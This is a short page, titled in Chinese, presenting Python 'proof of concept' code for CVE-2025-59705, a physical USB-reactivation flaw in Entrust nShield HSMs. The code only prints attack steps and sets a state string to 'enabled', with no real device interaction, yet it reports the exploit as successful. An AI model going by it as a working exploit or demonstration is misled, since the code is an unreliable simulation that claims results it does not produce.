CVE-2025-59705: Entrust nShield HSM 物理特权提升漏洞

# CVE-2025-59705 PoC - Physical USB Interface Reactivation # Note: This requires physical access to the nShield HSM device import time class nShieldUSBReactivation: """ PoC for CVE-2025-59705: Unauthorized Reactivation of USB Interface Affects: Entrust nShield Connect XC, nShield 5c, nShield HSMi Versions: <= 13.6.11, 13.7 """ def __init__(self, target_device): self.target = target_device self.usb_state = "disabled" def check_device_state(self): """Check current USB interface state""" print(f"[*] Checking USB state on {self.target}") # In real scenario, this would query the HSM device return self.usb_state def physical_boot_exploit(self): """ Exploit sequence: 1. Gain physical access to HSM device 2. Power off device 3. Insert chassis probe during boot 4. Trigger USB reactivation """ print("[*] Initiating physical boot exploit...") print("[*] Step 1: Power cycling device") print("[*] Step 2: Inserting chassis probe at boot") time.sleep(2) print("[*] Step 3: Triggering USB interface reactivation") # This would send specific signals via the probe print("[*] Step 4: Verifying USB state") self.usb_state = "enabled" print(f"[+] USB interface reactivated: {self.usb_state}") return True def privilege_escalation(self): """Execute privilege escalation via reactivated USB""" if self.usb_state == "enabled": print("[+] USB enabled - performing privilege escalation") # Connect malicious device or execute commands return True return False if __name__ == "__main__": print("CVE-2025-59705 PoC - Physical USB Reactivation Attack") print("WARNING: This requires physical access to target HSM device") exploit = nShieldUSBReactivation("nShield-HSM-001") if exploit.check_device_state() == "disabled": if exploit.physical_boot_exploit(): exploit.privilege_escalation()